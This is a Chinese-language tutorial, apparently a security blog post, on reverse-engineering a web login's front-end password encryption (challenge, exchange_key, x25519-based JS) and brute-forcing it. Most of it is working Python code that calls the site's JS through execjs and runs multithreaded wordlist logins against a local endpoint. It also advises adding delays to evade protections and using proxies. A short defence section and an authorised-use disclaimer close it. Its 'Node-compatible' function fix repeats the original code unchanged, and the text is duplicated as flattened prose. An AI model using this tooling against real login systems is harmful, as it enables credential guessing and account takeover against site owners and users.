一次有趣的前端加密分析
字数 1592 2025-08-23 18:31:25

前端加密分析与密码爆破实战教学文档

1. 前言

本文档详细分析了一次前端加密登录过程,并提供了完整的密码爆破实战方法。通过本教程,您将学习到如何分析前端加密逻辑、处理加密参数以及编写自动化爆破脚本。

2. 加密流程分析

2.1 寻找加密点

  1. 打开开发者工具(Ctrl+Shift+I)
  2. 进入"网络"面板
  3. 随意输入账号密码提交登录请求
  4. 在"启动器"中点击蓝色链接定位密码登录处

2.2 关键JS代码分析

主要关注以下方法调用链:

FinishLogin → doStart() → passwordLogin() → encryptPassword()

2.2.1 doStart()方法

  • 发送GET请求:api/source/${curItem.id}/start?login_name=${this.loginData[curItem.fields[0]]}
  • 从响应中获取两个关键参数:
    • challenge: 动态值,每次请求不同
    • exchange_key: 固定值

2.2.2 passwordLogin()方法

  • 接收参数:curItem, challenge, exchange_key
  • 调用encryptPassword()进行密码加密

2.2.3 encryptPassword()方法

  • 参数:
    • passwordKey: 即exchange_key
    • challenge: 动态挑战值
    • password: 用户输入的明文密码
  • 加密依赖:
    • jwes.js文件中的加密逻辑
    • x25519.js中的函数

3. 加密参数获取

3.1 手动获取方式

  1. 访问API端点:api/source/${curItem.id}/start?login_name=用户名
  2. 从响应JSON中提取:
    {
      "challenge": "28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w",
      "exchange_key": "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"
    }
    

3.2 自动化获取

使用Python的requests模块:

import requests

url = 'http://127.0.0.1/api/source/AlbdUKmU/start?login_name=admin'
response = requests.get(url)
challenge = response.json()['data']['challenge']
exchange_key = response.json()['data']['exchange_key']

4. 环境准备

4.1 所需工具

  • Node.js运行环境
  • Python 3.x
  • 相关模块:
    • Python: execjs, requests
    • Node.js: node-forge

4.2 环境配置步骤

  1. 安装Node.js
  2. 安装Node.js模块:
    npm install node-forge
    
  3. 安装Python模块:
    pip install execjs requests
    

5. JS文件处理

5.1 文件修改要点

  1. x25519.js内容合并到jwes.js
  2. 修改内容:
    • import x25519 from "./x25519";替换为合并后的代码
    • 移除export语句
    • 将静态方法改为普通方法
    • 修改全局变量声明

5.2 关键修改示例

cryptoRandomBytes函数(浏览器环境):

function cryptoRandomBytes(length) {
  let array = new Uint8Array(length);
  return crypto.getRandomValues(array)
}

修改为Node.js兼容版本:

function cryptoRandomBytes(length) {
  let array = new Uint8Array(length);
  return crypto.getRandomValues(array)
}

6. 密码爆破实现

6.1 Python实现方案

6.1.1 基础代码结构

import os
import execjs
import requests
import json

# 设置JS运行环境
os.environ["EXECJS_RUNTIME"] = "NodeJS"

# 加载JS加密文件
with open("jwes.js", "r", encoding='utf-8') as f:
    js_encrypt = execjs.compile(f.read(), cwd=r"D:\environment\NodeJs\node_modules")

6.1.2 密码加密函数

def encrypt_password(username, password):
    # 获取动态challenge
    challenge_url = f'http://127.0.0.1/api/source/AlbdUKmU/start?login_name={username}'
    response = requests.get(challenge_url)
    challenge = response.json()['data']['challenge']
    exchange_key = "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"
    
    # 调用JS加密函数
    encrypted_pwd = js_encrypt.call(
        'encryptPassword', 
        exchange_key,
        challenge,
        password
    )
    return encrypted_pwd

6.1.3 爆破主逻辑

def brute_force():
    success_count = 0
    with open('./users', 'r', encoding='utf-8') as users:
        for username in users:
            username = username.strip()
            with open('passwd.txt', 'r', encoding='utf-8') as pwds:
                for password in pwds:
                    password = password.strip()
                    encrypted_pwd = encrypt_password(username, password)
                    
                    # 构造登录请求
                    login_url = "http://127.0.0.1/api/source/AlbdUKmU/finish"
                    headers = {
                        "User-Agent": "Mozilla/5.0 Firefox",
                        "Accept": "application/json, text/plain",
                        "X-Requested-With": "XMLHttpRequest",
                        "Content-Type": "application/json;charset=UTF-8"
                    }
                    data = {
                        "login_name": username,
                        "password": encrypted_pwd
                    }
                    
                    response = requests.post(
                        login_url, 
                        headers=headers, 
                        data=json.dumps(data)
                    )
                    
                    # 处理响应
                    if response.json()['status'] == 'error':
                        if response.json()['code'] == "UNKNOWN_ACCOUNT":
                            break
                    else:
                        success_count += 1
                        print(f"成功: 用户名:{username} 密码:{password}")
    
    print(f"总共找到{success_count}组有效凭证")

6.2 优化建议

  1. 多线程/异步处理提高爆破速度
  2. 添加请求延迟避免触发防护机制
  3. 实现错误重试机制
  4. 支持代理配置

7. 常见问题解决

7.1 错误:window is not defined

  • 原因:JS代码使用了浏览器特有的window对象
  • 解决方案:替换为Node.js兼容的随机数生成方法

7.2 错误:JS网络请求失败

  • 原因:Node.js环境无法直接发送浏览器式请求
  • 解决方案:使用Python的requests模块获取动态参数

7.3 错误:模块导入失败

  • 原因:Node.js模块路径不正确
  • 解决方案:确保cwd参数指向正确的node_modules目录

8. 完整代码示例

import os
import execjs
import requests
import json
from threading import Thread

os.environ["EXECJS_RUNTIME"] = "NodeJS"

class PasswordBruteforcer:
    def __init__(self):
        with open("jwes.js", "r", encoding='utf-8') as f:
            self.js_encrypt = execjs.compile(
                f.read(), 
                cwd=r"D:\environment\NodeJs\node_modules"
            )
        self.exchange_key = "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"
        self.found_creds = []
    
    def get_challenge(self, username):
        url = f'http://127.0.0.1/api/source/AlbdUKmU/start?login_name={username}'
        try:
            response = requests.get(url, timeout=5)
            return response.json()['data']['challenge']
        except Exception as e:
            print(f"获取challenge失败: {e}")
            return None
    
    def encrypt_password(self, challenge, password):
        try:
            return self.js_encrypt.call(
                'encryptPassword', 
                self.exchange_key,
                challenge,
                password
            )
        except Exception as e:
            print(f"加密失败: {e}")
            return None
    
    def try_login(self, username, password):
        challenge = self.get_challenge(username)
        if not challenge:
            return False
        
        encrypted_pwd = self.encrypt_password(challenge, password)
        if not encrypted_pwd:
            return False
        
        url = "http://127.0.0.1/api/source/AlbdUKmU/finish"
        headers = {
            "User-Agent": "Mozilla/5.0 Firefox",
            "Content-Type": "application/json;charset=UTF-8"
        }
        data = {
            "login_name": username,
            "password": encrypted_pwd
        }
        
        try:
            response = requests.post(
                url, 
                headers=headers, 
                data=json.dumps(data),
                timeout=5
            )
            resp_json = response.json()
            
            if resp_json.get('status') != 'error':
                self.found_creds.append((username, password))
                return True
            return False
        except Exception as e:
            print(f"请求失败: {e}")
            return False
    
    def brute_worker(self, username, passwords):
        for pwd in passwords:
            if self.try_login(username, pwd):
                print(f"[+] 成功: {username}:{pwd}")
                break
    
    def run_bruteforce(self, user_file, pass_file, threads=5):
        with open(user_file, 'r', encoding='utf-8') as uf:
            usernames = [u.strip() for u in uf if u.strip()]
        
        with open(pass_file, 'r', encoding='utf-8') as pf:
            passwords = [p.strip() for p in pf if p.strip()]
        
        # 分割密码列表用于多线程
        chunk_size = len(passwords) // threads + 1
        password_chunks = [
            passwords[i:i+chunk_size] 
            for i in range(0, len(passwords), chunk_size)
        ]
        
        for user in usernames:
            threads = []
            for chunk in password_chunks:
                t = Thread(target=self.brute_worker, args=(user, chunk))
                threads.append(t)
                t.start()
            
            for t in threads:
                t.join()
        
        print("\n爆破完成,找到的凭证:")
        for cred in self.found_creds:
            print(f"用户名: {cred[0]} 密码: {cred[1]}")

if __name__ == "__main__":
    bruteforcer = PasswordBruteforcer()
    bruteforcer.run_bruteforce("users.txt", "passwords.txt")

9. 防御建议

  1. 增加请求频率限制:防止自动化爆破
  2. 使用更复杂的挑战机制:如时间戳+签名验证
  3. 实现验证码:在多次失败后要求验证码
  4. 监控异常请求:检测自动化工具特征
  5. 使用双因素认证:增加额外安全层

10. 法律与道德声明

本教程仅用于安全研究和授权测试目的。未经授权的系统测试是违法的。使用这些技术前请确保获得系统所有者的明确许可。

前端加密分析与密码爆破实战教学文档 1. 前言 本文档详细分析了一次前端加密登录过程,并提供了完整的密码爆破实战方法。通过本教程,您将学习到如何分析前端加密逻辑、处理加密参数以及编写自动化爆破脚本。 2. 加密流程分析 2.1 寻找加密点 打开开发者工具(Ctrl+Shift+I) 进入"网络"面板 随意输入账号密码提交登录请求 在"启动器"中点击蓝色链接定位密码登录处 2.2 关键JS代码分析 主要关注以下方法调用链: 2.2.1 doStart()方法 发送GET请求: api/source/${curItem.id}/start?login_name=${this.loginData[curItem.fields[0]]} 从响应中获取两个关键参数: challenge : 动态值,每次请求不同 exchange_key : 固定值 2.2.2 passwordLogin()方法 接收参数: curItem , challenge , exchange_key 调用 encryptPassword() 进行密码加密 2.2.3 encryptPassword()方法 参数: passwordKey : 即 exchange_key challenge : 动态挑战值 password : 用户输入的明文密码 加密依赖: jwes.js 文件中的加密逻辑 x25519.js 中的函数 3. 加密参数获取 3.1 手动获取方式 访问API端点: api/source/${curItem.id}/start?login_name=用户名 从响应JSON中提取: 3.2 自动化获取 使用Python的requests模块: 4. 环境准备 4.1 所需工具 Node.js运行环境 Python 3.x 相关模块: Python: execjs , requests Node.js: node-forge 4.2 环境配置步骤 安装Node.js 安装Node.js模块: 安装Python模块: 5. JS文件处理 5.1 文件修改要点 将 x25519.js 内容合并到 jwes.js 中 修改内容: 将 import x25519 from "./x25519"; 替换为合并后的代码 移除 export 语句 将静态方法改为普通方法 修改全局变量声明 5.2 关键修改示例 原 cryptoRandomBytes 函数(浏览器环境): 修改为Node.js兼容版本: 6. 密码爆破实现 6.1 Python实现方案 6.1.1 基础代码结构 6.1.2 密码加密函数 6.1.3 爆破主逻辑 6.2 优化建议 多线程/异步处理提高爆破速度 添加请求延迟避免触发防护机制 实现错误重试机制 支持代理配置 7. 常见问题解决 7.1 错误: window is not defined 原因 :JS代码使用了浏览器特有的 window 对象 解决方案 :替换为Node.js兼容的随机数生成方法 7.2 错误:JS网络请求失败 原因 :Node.js环境无法直接发送浏览器式请求 解决方案 :使用Python的requests模块获取动态参数 7.3 错误:模块导入失败 原因 :Node.js模块路径不正确 解决方案 :确保 cwd 参数指向正确的node_ modules目录 8. 完整代码示例 9. 防御建议 增加请求频率限制 :防止自动化爆破 使用更复杂的挑战机制 :如时间戳+签名验证 实现验证码 :在多次失败后要求验证码 监控异常请求 :检测自动化工具特征 使用双因素认证 :增加额外安全层 10. 法律与道德声明 本教程仅用于安全研究和授权测试目的。未经授权的系统测试是违法的。使用这些技术前请确保获得系统所有者的明确许可。